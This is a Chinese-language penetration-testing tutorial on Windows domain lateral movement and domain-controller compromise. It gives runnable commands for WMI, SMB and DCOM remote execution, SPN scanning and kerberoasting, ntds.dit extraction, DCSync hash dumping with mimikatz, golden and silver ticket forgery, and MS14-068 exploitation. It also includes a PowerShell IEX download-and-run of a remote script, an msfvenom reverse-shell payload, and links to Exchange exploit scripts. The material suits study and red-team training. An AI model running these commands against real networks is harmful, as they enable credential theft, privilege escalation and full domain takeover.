接下来就可以使用WMIC远程执行命令了,但如果目标开启了防火墙,wmic将无法进行连接,此外,wmic命令没有回显,需要使用ipc$和type命令来读取信息。如果wmic执行的是恶意程序,将不会留下日志

八:impacket工具包中的wmiexec

在KALI下载安装impacket包

1
wmiexec.py administrator:Password@192.168.200.24

报了个没模块的错误

img

解决方法:回到目录安装

1
setup.py install

img

就可以运行啦

该方法主要在从Linux向Windows进行横向渗透测速使用

windows也有impacket工具包,都是打包好的exe文件,在windows下进行横向:

1
wmiexec.exe administrator:Password@192.168.1.3

img

九:Invoke-WmiCommand

Invoke-WmiCommand.ps1脚本包含在PowerSploit工具中。通过powershell调用WMI来远程执行命令

将模块导入后执行命令

复制代码

1
2
3
4
5
6
7
8
9
10
//目标系统用户名
$User="hacke/administrator"
//目标系统密码
$Password=ConvertTO-SecureString -String "a123456#" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password
//远程执行命令
$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.3
//将执行结果输出到屏幕
$Remote.PayloadOutput

复制代码

img

看起来用不了。。。

十:smbexec使用

smbexec可以通过文件共享在远程系统中执行命令

impacket工具包中的smbexec.py

1
smbexec.py hacke/administrator:Admin111@192.168.200.24

img

十一:DOM在远程系统中的使用

DCOM分布式组件对象模型,是微软的一系列概念和程序接口。通过DCOM,客户端程序对象能够像网络中的另一台计算机上个的服务器程序对象发送请求

1.通过本地DCOM执行命令

1) 获取DCOM程序列表

Get-CimInstance默认只在PowerShell3.0以上版本存在(win server2012以上)

1
Get-CimInstance Win32_DCOMApplication

img

2012以下可以以下命令代替

1
Get-WmiObject -Namespace ROOT\CIMV2 -Class WIN32_DCOMApplication

img

2) 使用DCOM执行任意命令

1
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minized")

img

执行完毕,将以当前会话执行Administrator权限的calc.exe

如果攻击者把计算机程序换成恶意的Payload,就会对系统安全造成威胁

  

2.使用DCOM在远程机器上执行命令

1) 通过$ipc连接远程计算机

1
net use \\192.168.1.2 "Admin111" /user:administrator

2) 执行命令

调用MMC20.Application

建立$ipc后,远程系统运行calc.exe  

1
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.2")) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","")

img

img

或者调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

1
$com=[type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.2")$obj=[System.Activator]::CreateInstance($com)$item=$obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

 img

这两种方法均适用于Windows7-10.Windows server 2008-2016 

  

十二:SPN

Windows 域环境是基于微软的活动目录服务工作的,它在网络系统环境中将物理位置分散.所属部门不同的用户进行分组和集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。

在域环境中运行的大量应用包含了多种资源,为了对资源的合理分类和再分配提供便利,微软给域内的每种资源分配了不同的服务主题名称即 SPN (Service Principal Name)

1.Kerberos

Kerberos 是由 MIT 提出的一种网络身份验证协议,旨在通过密钥加密技术为客户端/服务器应用程序提供强身份验证,它也是主要用在域环境下的身份认证协议。

在 Kerberos 认证中,最主要的问题就是如何证明「你是你」的问题,比如当一个用户去访问服务器上的某服务时,服务器如何判断该用户是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不会影响通讯的安全性,这正是 Kerberos 解决的问题。

Kerberos 协议中的名称解释:

  • Client: 访问服务的客户端
  • Server: 提供服务的服务器
  • KDC (Key Distribution Center): 密钥分发中心
  • AS (Authentication Service): 认证服务器
  • TGS (Ticket Granting Service): 票据授予服务
  • DC (Domain Controller): 域控制器
  • AD (Account Database): 用户数据库
  • TGT (Ticket Granting Ticket): 票证授予票证
  • ST (Servre Ticket): 服务票据

imgimg

根据上图,这里一步一步进行解释

第一阶段:Clinet 与 AS

① 客户端向认证服务器 AS 发起请求,请求内容为自己的用户名.主机 IP 和当前时间戳。

② AS 接收到请求,此时 AS 会根据用户名在用户数据库 AD 中寻找,判断这个用户名在不在白名单里,此时只会查找具有相同用户名的用户,并不会判断身份的可靠性;如果没有该用户名,认证失败;如果存在该用户名,则 AS 便认为用户存在,此时 AS 对客户端做出响应,响应内容包含两部分:

  • 第一部分:票据授予票据 TGT,客户端需要使用 TGT 去密钥分发中心 KDC 中的票据授予服务 TGS 获取访问网络服务所需的票据,TGT 中包含的内容有 kerberos 数据库中存在的客户端信息.IP.当前时间戳
  • 第二部分:使用客户端密钥加密的一段内容,这段内容包括:用于客户端和 TGS 之间通信的 Session_Key (CT_SK) ,客户端即将访问的 TGS 信息以及 TGT 的有效时间和一个当前时间戳,该部分内容使用客户端密钥加密,所以客户端在拿到该部分内容时可以通过自己的密钥解密。

至此,第一阶段通信完成。

第二阶段:Clinet 与 TGS

此时客户端已经获取到了 AS 返回的消息,客户端会将 AS 返回的第二部分内容进行解密,分别获得时间戳.接下来要访问的 TGS 信息以及用于和 TGS 通信的密钥 CT_SK

首先客户端会判断时间戳与自己发出的时间差是否大于 5 分钟,如果大于 5 分钟那就认为这个 AS 是伪造的,认证失败,否则就继续准备向 TGS 发起请求。

③ 客户端向 TGS 发起请求,请求的内容包含三部分:

  • 第一部分:使用 CT_SK 加密的客户端信息.IP.时间戳
  • 第二部分:自己想要访问的 Server 服务信息(明文形式)
  • 第三部分:使用 TGS 密钥加密的 TGT

④ TGS 接收到请求,首先判断当前系统是否存在客户端想要访问的 Server 服务,如果不存在,认证失败,如果存在则继续接下来的认证。

接下来 TGS 利用自己的秘钥解密 TGT 内容,此时 TGS 获取到经过 AS 认证后的用户信息.CT_SK.时间戳信息,通过时间戳判断此次请求时延是否正常,如果时延正常就继续下一步。

之后 TGS 会使用 CT_SK 解密客户端发来的第一部分内容,取出其中的用户信息和 TGT 里的用户信息进行对比,如果全部一致则认为客户端身份正常,继续下一步。

此时 TGS 将向客户端发起响应,响应信息包含两部分:

  • 第一部分:使用服务端密码加密的服务票据 ST,其中包括客户端信息.IP.客户端待访问的服务端信息.ST 有效信息.时间戳以及用于客户端和服务端之间通信的 CS_SK
  • 第二部分:使用 CT_SK 加密的内容,其中包括 CS_SK .时间戳和 ST 的有效时间。

至此,第二阶段通信完成。

第三阶段:Clinet 与 Server

此时客户端收到来自 TGS 的响应,并使用本地缓存的 CT_SK 解密出 TGS 返回的第二部分内容,检查时间戳无误后,取出 CS_SK 准备向服务端发起请求。这里由于 TGS 返回的第一部分信息是用的服务端秘钥加密的,因此这里的客户端是无法进行解密的。

⑤ 客户端向服务端发送请求,请求内容包括两部分:

  • 第一部分:利用 CS_SK 将自己的主机信息和时间戳进行加密的信息
  • 第二部分:第 ④ 步里 TGS 向客户端返回的第一部分内容,即使用服务端密码加密的服务票据 ST

⑥ 服务端此时收到了来自客户端的请求,它会使用自己的密钥解密客户端发来的第二部分内容,核对时间戳之后,取出 CS_SK,利用 CS_SK 解密第一部分内容,从而获得经过 TGS 认证后的客户端信息。

此时服务端会将第一部分解密后的信息与第二部分解密后的信息进行对比,如果一致则说明该客户端身份为真实身份,此时服务端向客户端响应使用 CS_SK 加密的表示接受的信息,客户端接受到信息后也确认了服务端的真实性。

至此,第三阶段通信完成,到这里整个 kerberos 认证也就完成了,接下来客户端与服务端就能放心的进行通信了。

这里可以再通过时序图加深下印象。

imgimg

注意点:

  • KDC 服务默认会安装在一个域的域控中
  • Kerberos 认证采用对称加密算法
  • 三个阶段里都使用了密钥,这些密钥都是临时生成的,也只在一次会话中生效,因此即使密钥被劫持,等到密钥被破解可能这次会话也都早已结束。
  • AD 其实是一个类似于本机 SAM 的一个数据库,全称叫 Account Database,存储所有 Client 白名单,只有存在于白名单的 Client 才能顺利申请到 TGT
  • KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为它就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。

2.SPN

相关概念

在使用 Kerberos 协议进行身份验证的网络中,必须在内置账号(NetworkService.LocalSystem)或者用户账号下为服务器注册 SPN。

对于内置账号,SPN 将自动进行注册,如果在域用户账号下运行服务,则必须为要使用的账号手动注册 SPN。

因为域环境中的每台服务器都需要在 Kerberos 身份验证服务中注册 SPN ,所以 RT 会直接向域控制器发送查询请求,获取需要的服务的 SPN ,从而知道自己需要使用的服务资源在哪台机器上。

SPN 格式如下:

1
serviceclass "/" hostname [":"port] ["/" servicename]

serviceclass(必选):服务组件名称
hostname(必选):以 “/” 与后面的名称分隔,这里的 hostname 是计算机的 FQDN (全限定域名,同时带有计算机名和域名)
port(可选):以冒号分隔,后面的内容为该服务监听的端口号
servicename(可选):一个字符串,可以是服务的专有名称(DN).objectGuid.Internet主机名或全限定域名

常见 SPN 服务

MSSQL 服务

1
MSSQLSvc/DBServer.teamssix.com:1433

Exchange 服务

1
exchangeMDB/ExServer.teamssix.com

RDP 服务

1
TERMSRV/ExServer.teamssix.com

WSMan/WinRM/PSRemoting 服务

1
WSMAN/ExServer.teamssix.com

SPN 扫描脚本

SPN 扫描也叫「扫描 Kerberos 服务实例名称」,在活动目录中发现服务的最佳方法就是 SPN 扫描。

SPN 扫描通过请求特定 SPN 类型的服务主体名称来查找服务,与网络端口相比,SPN 扫描的主要特点是不需要通过连接网络中的每个 IP 地址来检查服务端口,因此不会因触发内网中的安全设备规则而产生大量的告警日志。

由于 SPN 查询是 Kerberos 票据行为的一部分,所以检测难度较大。

setspn

setspn 是 Windows 自带命令,以下命令可列出域中所有的 SPN 信息

1
setspn -T teamssix -Q */*

Active Directory 模块

PowerShell 模块 Active Directory 只在域控上有

1
2
Import-Module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

或者使用大佬导出的模块,这样普通用户也可以使用该模块,下载地址:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

1
2
Import-Module .\Microsoft.ActiveDirectory.Management.dll
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

PowerView

PowerView 下载地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

1
2
Import-Module .\PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,last

Powershell-AD-Recon

Powershell-AD-Recon 提供了一系列获取服务与服务登录账号和运行服务的主机之间的对应关系的工具,这些服务包括但不限于 MSSQL.Exchange.RDP.WinRM

Powershell-AD-Recon 下载地址:https://github.com/PyroTek3/PowerShell-AD-Recon

Powershell-AD-Recon 工具包里的内容如下:

1
2
3
4
5
6
7
Discover-PSInterestingServices  # 查找所有 SPN 服务
Discover-PSMSExchangeServers # 查找 Exchange 服务器
Discover-PSMSSQLServers # 查找 MSSQL 服务器
Find-PSServiceAccounts # 查找服务账户
Get-DomainKerberosPolicy # 获取域 Kerberos 策略
Get-PSADForestInfo # 获取域森林信息
Get-PSADForestqInfo # 获取域森林 KRBTGT 信息

下载后的文件是没有 .ps1 后缀的,需要自己添加上

由于 SPN 是通过 LDAP 协议向域控制器进行查询的,因此 RT 需要获得一个普通的域用户权限才可以进行 SPN 扫描。

将 PowerShell 脚本导入并执行,以 MSSQL 服务为例

1
2
3
4
Import-Module .\Discover-PSMSSQLServers.ps1
Discover-PSMSSQLServers
或者
PowerShell -Exec bypass -C "Import-Module .\Discover-PSMSSQLServers.ps1;Discover-PSMSSQLServers"

扫描域中所有的 SPN 信息

1
2
3
4
Import-Module .\Discover-PSInterestingServices.ps1
Discover-PSInterestingServices
或者
PowerShell -Exec bypass -C "Import-Module .\Discover-PSInterestingServices.ps1;Discover-PSInterestingServices"

kerberoast

kerberoast 工具包里的 GetUserSPNs.ps1,可以帮助我们发现仅与用户帐户相关联的服务。

kerberoast 下载地址:https://github.com/nidem/kerberoast

1
2
3
./GetUserSPNs.ps1
或者
PowerShell -Exec bypass -File GetUserSPNs.ps1

kerberoast 工具包里的 GetUserSPNs.vbs 也能实现相同的功能

1
cscript.exe GetUserSPNs.vbs

PowerShellery

PowerShellery 工具包里包含了 Get-SPN,可以为各种服务收集 SPN

PowerShellery 下载地址:https://github.com/nullbind/Powershellery

1
2
3
4
Import-Module .\Get-SPN.psm1
Get-SPN -type service -search *
或者
PowerShell -Exec bypass -C "Import-Module .\Get-SPN.psm1;Get-SPN -type service -search *"

结果也可以转换为表格的形式,以便于浏览

1
2
3
4
Import-Module .\Get-SPN.psm1
Get-SPN -type service -search * -List yes
或者
PowerShell -Exec bypass -C "Import-Module .\Get-SPN.psm1;Get-SPN -type service -search * -List yes"

另外一个 Get-DomainSpn.psm1 脚本可以用来获取 UserSID.服务和实际用户

1
2
3
4
Import-Module .\Get-DomainSpn.psm1
Get-DomainSpn
或者
PowerShell -Exec bypass -C "Import-Module .\Get-DomainSpn.psm1;Get-DomainSpn"

Impacket

Impacket 下载地址:https://github.com/SecureAuthCorp/impacket

上面的工具都是在域内的机器里扫描 SPN 的,利用 impacket 工具包下的 GetUserSPNs.py 可以在非域主机中扫描目标的 SPN

1
python3 GetUserSPNs.py -dc-ip 192.168.7.7 teamssix.com/test

imgimg

3.kerberoast

kerberoast 是一种针对 Kerberos 协议的利用方式,在因为需要使用某个特定资源而向 TGS 发送 Kerberos 服务票据的请求时,用户首先需要使用具有有效身份权限的 TGT 向 TGS 请求相应服务的票据。

当 TGT 被验证有效且具有该服务的权限时,TGS 会向用户发送一张票据。该票据使用与 SPN 相关联的计算机服务账号的 NTLM Hash(RC4_HMAC_MD5),就是说,RT 会通过 Kerberoast 尝试使用不同的 NTLM Hash 来打开该 Kerberos 票据,如果 RT 使用的 NTLM Hash 是正确的,Kerberos 票据就会被打开,而该 NTLM Hash 对应于该计算机服务账号的密码。

kerberoast 的利用思路:

1.查询 SPN 寻找在 Users 下并且是高权限域用户的服务

2.请求并导出 TGS

3.对 TGS 进行爆破

这里以 MSSQL 服务为例,并尝试破解该服务的票据

手动注册 SPN

1
setspn -A MSSQLSvc/DBSRV.teamssix.com:1433 test

查看用户所对应的 SPN

1
setspn -L teamssix.com\test

也可以使用 adsiedit.msc 查看用户 SPN 及其他高级属性

为用户配置指定服务的登录权限,gpedit.msc 打开本地组策略编辑器,找到以下路径,将用户添加进去,例如这里添加的用户为 test

1
\计算机配置\Windows 设置\安全设置\本地策略\用户权限分配\作为服务登录

因为 Kerberos 协议的默认加密方式是 AES256_HMAC,而通过 tgsreperack.py 脚本无法破解该加密方式,因此我们可以通过组策略将加密方式设置为 RC_HMAC_MD5

在本地组策略编辑器中,找到以下路径,将加密方式设置为 RC_HMAC_MD5

1
\计算机配置\Windows 设置\安全设置\本地策略\安全选项\网络安全:配置 Kerberos 允许的加密类型

请求指定 SPN 的服务票据

1
2
3
$SPNName = 'MSSQLSvc/DBSRV.teamssix.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

或者请求所有服务的服务票据

1
2
Add-Type -AssemblyName System.IdentityModel  
setspn -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

可以使用 klist 查看本地缓存的票证,看看有没有新的票据

之后在 mimikatz 中执行如下命令,将内存中的票据导出

1
kerberos::list /export

也可以不使用 mimikatz,使用 powershell 脚本导出支持 hashcat 破解的格式

1
powershell.exe -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://ghproxy.com/https://raw.githubusercontent.com/EmpireProject/Empire/6ee7e036607a62b0192daed46d3711afc65c3921/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl"

或者使用 Rubeus 获取票据

1
Rubeus.exe kerberoast

也可以使用 impacket 获取票据

1
python3 GetUserSPNs.py -request -dc-ip 192.168.7.7 -debug teamssix.com/test

imgimg

将 MSSQL 服务所对应的票据复制到有 kerberoast 的机器上,之后用 kerberoast 中的 tgsreperack.py 脚本破解票据的 NTLM Hash

Kerberoast 脚本下载地址:https://github.com/nidem/kerberoast

1
python tgsreperack.py password.txt mssql.kirbi

或者使用 hashcat 破解 powershell 脚本.Rubeus.impacket 获取到的服务票据

1
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

imgimg

域控制器安全

01

前言

对于国内的网络管理者而言,现有的网络安全防护手段大多强调预防外部主动攻击,相对信任内部主机,然而泄密事件或其它各类内网安全事件的频繁发生,这就充分说明了内网安全维护的复杂性。当前很多企业会使用域来管理较为复杂的内部网络, 因为域可以安全集中管理,统一安全策略。

在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,把域看作一个单位的话,域控制器就相当于门卫(Domain Controller,简写为DC)。域是一个相对严格的计算机群体组合,而域控制器则是这个域内的管理核心。本文将从攻击者的角度出发,针对域控制器安全作出相关的安全探索与研究。

02

域控前置知识

AD

Active Directory,活动目录,存域内各种信息的数据库域内所有的计算机共享一个集中式的目录数据库(又称为活动目录数据库),它包含着整个域内的对象(用户账户.计算机账户.打印机.共享文件等)和安全信息等等,而活动目录负责目录数据库的添加,修改,更新和删除。

组策略

Group Policy,有本地的和域的,域组策略管理能够统一的对域内机器和用户进行管理。

GPO

组策略对象,GPO(Group Policy Object),实际上就是组策略设置的集合。

GPP

Group Policy Preference,组策略首选项,作用似乎是简单化管理。

SYSVOL目录

域中共享文件夹,该文件夹存储组策略数据以及一些配置文件脚本,这些策略可以被共享到域间机器,由于域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,所有的AD用户都可以访问它,包括普通用户。

所有组策略都存储于如下目录\\SYSVOL<DOMAIN>\Policies\

域内身份验证

windows身份验证分两种,一个kerberos一个NTLM,NTLM就是一个用密码哈希进行的挑战应答,kerberos不多说了,在windows域环境中由DC担任KDC。

Golden Ticket & Silver Ticket

黄金票据,是通过krbtgt的密码哈希计算而成的票据,绝对伪造白银票据,通过对TGS的伪造,只能访问伪造的对应服务。

03

域控制器安全

一:GPP解密

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的,它用来存放GPO.Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。(注意:C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的,在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥。)由于经过身份验证的用户(任何域用户或受信任域中的用户)都具有对SYSVOL的读取权限,所以域中的任何人都可以搜索包含“cpassword”的XML文件的SYSVOL共享,该文件是包含AES加密密码的值。

二:卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在ntds.dit文件中,ntds.dit是一个二进制文件,存储位置为域控制器的%SYSTEMRoot%\ntds\ntds.dit 目录下。包括用户名.散列值.组.GPP.OU 等活动目录相关信息。和SAM文件一样,都是被Windows操作系统锁定的。系统运维人员会利用卷影拷贝服务(VSS)实现这些操作,VSS本质上属快照技术的一种,主要用于备份和恢复功能。(即使目标文件当前处于锁定状态)

通过ntdsutil.exe提取ntds.dit:

创建一个快照,该快照包含Windows系统中的所有文件,且在复制文件时不会触发windows的锁机制。

img

ntdsutil snapshot “activate instance ntds” create quit quit

装载快照:

img

复制快照:

img

这时我们就拿到了ntds.dit,可以利用hash 进行哈希传递攻击登录其他内网主机。

三:利用dcsync获取域散列值

(1)Mimikatz获取散列值

Mimikatz有一个dcsync的功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值,需要注意的是该功能必须使用管理员权限mimikatz才可以读取ntds.dit。在域内的任意一台机器中,以域管理员权限打开命令环境运行mimikatz:

mimikatz.exe privilege::debug “lsadump::dcsync /domain:test.com /all /csv” exit

img

如上图,可以成功导出域内所有用户的哈希散列值。

(2)powershell获取散列值

使用Invoke-DCSync.ps1脚本读取ntds.dit以获取账号域散列值,该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。

1
Import-Module .\Invoke-DCSync.ps1Invoke-DCSync -DumpForest | ft -wrap -autosize    // 导出域内所有用户的hashInvoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize      // 导出域内administrator账户的hash

img

四:票据传递攻击

4.1 黄金票据(Golden Tickets)

域中有一个特殊用户叫做 krbtgt,该用户是用于 Kerberos 身份验证的帐户,如果攻击者获得了该用户的 hash就可以伪造票据进行票据传递,即使域管理员修改密码也不会改变 krbtgt。

域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到 krbtgt 的密码 Hash,就可以随意伪造 Ticket,进而使用 Ticket 登陆域控制器。使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket。

示例:获取 krbtgt 用户哈希 :

需要域管理员或者其他类似的高权限账户。

imgimg

获取域 SID(去掉 1104 才是 sid):

img

访问域控:

img

生成黄金票据并注入内存:

kerberos::golden /admin:administrator /domain:test.com /sid:S-1-5-21-1028651032-

493791261-3989376960/krbtgt:870abec9d90ce0f8567c102bc22c6a80/ticket:golden.kiribi

img

再次访问域控:

img

4.2 白银票据(Silver Tickets)

白银票据不与 KDC 交互,伪造 Ticket 直接与 server 进行交互。我们来看一下 windows 认证的第六步,server 接收到客户端的数据包后,使用自己的密码 hash 解密 ticket 得出 session key,在使用 session key 解密 Authenticator 和 timestamp 即可通过验证。所以我们只需要知道 server 用户的 hash 就可以伪造出 一个 ticket,这就是白银票据。

示例:获取服务 hash(这里使用 cifs,这一步需要在域控上运行):

img

获取 sid:

img

访问域控文件共享:

img

生成票据并注入内存 :

这里和刚才用法不一样,这里生成后直接注入,无需手动注入。

img

再次访问:

img

五:Exchange漏洞

近些年来通过渗透邮件服务器获取权限,并一路拿到域控的案列越来越多。因为Exchange 邮箱服务器默认在域中具有高权限,可以修改域内的 AC。借此攻击者通过赋予Dcsync ACL 给指定的用户,进而导出域内哈希,拿下域控。限于本期篇幅,在此不再展示具体步骤。以下是笔者收集的相关漏洞及利用方式,供大家参考借鉴。

5.1 CVE-2018-8581:任意用户位置漏洞

该漏洞允许任何经过身份验证的用户冒充 ExchangeServer 上的其他任意用户,可用来盗取exchange的管理员权限。

攻击方式一:将经过验证的普通用户接管管理员所有邮件信息。

利用条件:普通账号。

攻击脚本:

https://github.com/WyAtu/CVE-2018-8581

攻击方式二:将普通用户提升至域管理员权限。

利用条件:普通账号,在内网发起攻击。

https://github.com/dirkjanm/PrivExchange https://github.com/SecureAuthCorp/impacket

5.2 CVE-2019-1040:Windows NTLM篡改漏洞

攻击方式一:攻击域Exchange Server

利用姿势:使用中继的LDAP身份验证,为攻击者帐户授予DCSync权限。攻击者帐户使用DCSync转储AD中的所有密码哈希值。

攻击脚本:

https://github.com/Ridter/CVE-2019-1040

利用方式二:攻击域控服务器

利用姿势:使用中继的LDAP身份验证,将目标服务器的基于资源的约束委派权限授予攻击者控制下的计算机帐户。攻击者作为受害者服务器上的任何用户进行身份验证。

攻击脚本:

https://github.com/Ridter/CVE-2019-1040-dcpwn

5.3 CVE-2020-0688:Microsoft Exchage 远程代码执行漏洞

漏洞描述:当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码,就可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

利用条件:Exchange Server 2010 SP3/2013/2016/2019,普通账号。

攻击脚本

https://github.com/random-robbie/cve-2020-0688

5.4 CVE-2020-16875:Microsoft Exchage 远程代码执行漏洞

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,可造成任意命令执行。

利用条件:Exchange Server 2016/2019,普通账号。

攻击脚本:

https://srcincite.io/pocs/cve-2020-16875.py.txt

5.5 CVE-2020-17144:Microsoft Exchage 远程代码执行漏洞

漏洞描述:远程攻击者通过构造特殊的cmdlet参数,绕过身份验证利用改漏洞可造成任意远程命令执行。

利用条件:Exchange2010,普通账号。

攻击脚本1:

https://github.com/Airboi/CVE-2020-17144-EXP

攻击脚本2:

https://github.com/zcgonvh/CVE-2020-17144

06

总结

相对于公网的层层防护,内网环境往往更为脆弱。而域安全只是内网防护的一部分,如果能了解到攻击者是如何入侵内网环境的,就可以更安全地部署内网环境,更有效的防范攻击行为。

针对AD域控的攻击和防御,需要了解一系列基础知识,否则无法理解攻击手段,更无法阻断攻击链。内网安全部分我们在后续内刊文章中会继续介绍,敬请期待。

六:Kerberos 域用户提权漏洞

前言

在 2014 年微软修复了 Kerberos 域用户提权漏洞,即 MS14-068,CVE 编号为 CVE-2014-6324,该漏洞影响了 Windows Server 2012 R2 以下的服务器,该漏洞允许 RT 将任意用户权限提升至域管级别。

不过从漏洞年代就知道这已经是个远古时代的漏洞,现实中已经很少会碰到了,这里就简单记录下,顺便熟悉熟悉工具的用法。

14-068 产生的原因主要在于用户可以利用伪造的票据向认证服务器发起请求,如果用户伪造域管的票据,服务端就会把拥有域管权限的服务票据返回回来。

1.PyKEK

PyKEK 是一个利用 Kerberos 协议进行渗透的工具包,下载地址:https://github.com/mubix/pykek

使用 PyKEK 可以生成一个高权限的服务票据,之后通过 mimikatz 将服务票据导入到内存中。

MS 14-068 的补丁为:KB3011780,通过 wmic 查看补丁情况

1
wmic qfe get hotfixid | findstr KB3011780

查看当前用户 SID

1
whoami /user

或者使用 wmic

1
wmic useraccount get name,sid

生成高权限票据,-d 指定域控地址

1
python2 ms14-068.py -u jack@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d 192.168.3.142 -p Aa123456

打开 mimikatz 清除当前内存中的票据信息

1
kerberos::purge

将高权限票据注入内存

1
kerberos::ptc "TGT_jack@0day.org.ccache"

使用 net use 连接域控后,使用 psexec 获取 Shell

这里 net ues 使用 IP 可能会失败,因此在此使用机器名进行连接

imgimg

2.GoldenPac

goldenPac.py 是一个用于对 Kerberos 协议进行测试的工具,它集成在 impacket 工具包里。

Kali 在使用之前需要先安装 Kerberos 客户端

1
apt-get install krb5-user -y

利用 goldenPac.py 获取 Shell

1
python3 goldenPac.py 0day.org/jack:Aa123456@OWA2010SP3.0day.org

这里使用 IP 进行连接会连接不成功,只能使用主机名,因此可以在 hosts 文件中添加主机名对应的 IP

imgimg

goldenPac.py 是通过 PsExec 获得 Shell 的,因此会产生大量的日志,而且现在这种连接方式也已经被各大杀软所拦截。

3.kekeo

kekeo 也是一个工具集,其中包含了 ms14-068 的利用模块,kekeo 下载地址:https://github.com/gentilkiwi/kekeo

使用之前需要先清除票据

1
klist purge

然后直接使用 kekeo 生成高权限票据

1
kekeo.exe "exploit::ms14068 /domain:0day.org /user:jack /password:Aa123456 /ptt" "exit"

之后就可以直接 dir 域控或者 PsExec 连接到域控了

4.MSF

MSF 中也有 MS 14-086 的提权 EXP,不过需要结合 mimikatz 进行利用

1
2
3
4
5
6
7
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set domain 0day.org
set password Aa123456
set user jack
set user_sid S-1-5-21-1812960810-2335050734-3517558805-1133
set rhosts OWA2010SP3.0day.org
run

设置好域名.域控 IP.密码.用户.SID 后运行,将会获取一个 bin 文件

由于 MSF 里不支持 bin 文件的导入,因此需要 mimikatz 对其进行格式转换

1
kerberos::clist "20210923061821_default_192.168.3.142_windows.kerberos_484249.bin" /export

之后,生成一个木马

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.74 lport=4444 -f exe > shell.exe

将木马复制到目标主机上,并使其上线到 MSF

获得会话后,将刚才 mimikatz 转换后的 kirbi 文件导入到会话中

1
2
3
load kiwi
kerberos_ticket_use /tmp/0-00000000-jack@krbtgt-0DAY.ORG.kirbi
background

之后使用 current_user_psexec 模块

1
2
3
4
5
6
use exploit/windows/local/current_user_psexec
set session 2
set rhosts OWA2010SP3.0day.org
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.214.74
run

然后就会返回高权限的会话

不过 MSF 在使用过程中报错了,网上一查发现别人也有这个错误,暂时还不清楚解决的方法

5.CS

先利用前面的 ms14-068.py 生成一个 ccache 文件,之后使用 KrbCredExport 将 ccache 文件转为 kirbi 格式

KrbCredExport 下载地址:https://github.com/rvazarkar/KrbCredExport

1
python2 KrbCredExport.py TGT_jack@0day.org.ccache user.ticket

接着使用 CS 的 kerberos_ticket_use 加载 ticket,之后就能访问到域控了

imgimg

此时想让域控上线自然也是没问题的了,可以先添加一个域控地址的 target,然后选择 PsExec ,勾选上 use session’s current access token 通过 jack 的会话上线即可。

imgimg

七:黄金票据

前言

RT 在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:

  • 伪造的域管理员用户名
  • 完整的域名
  • 域 SID
  • krbtgt 的 NTLM Hash 或 AES-256 值

其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。

在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。

1.导出 krbtgt 的 NTLM Hash

在 mimikatz 下执行以下命令

1
lsadump::dcsync /domain:teamssix.com /user:krbtgt

这里得到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087

该命令使用的 dcsync 功能远程转储 AD 里的 ntds.dit,使用 /user 参数,可以只导出指定用户的值。

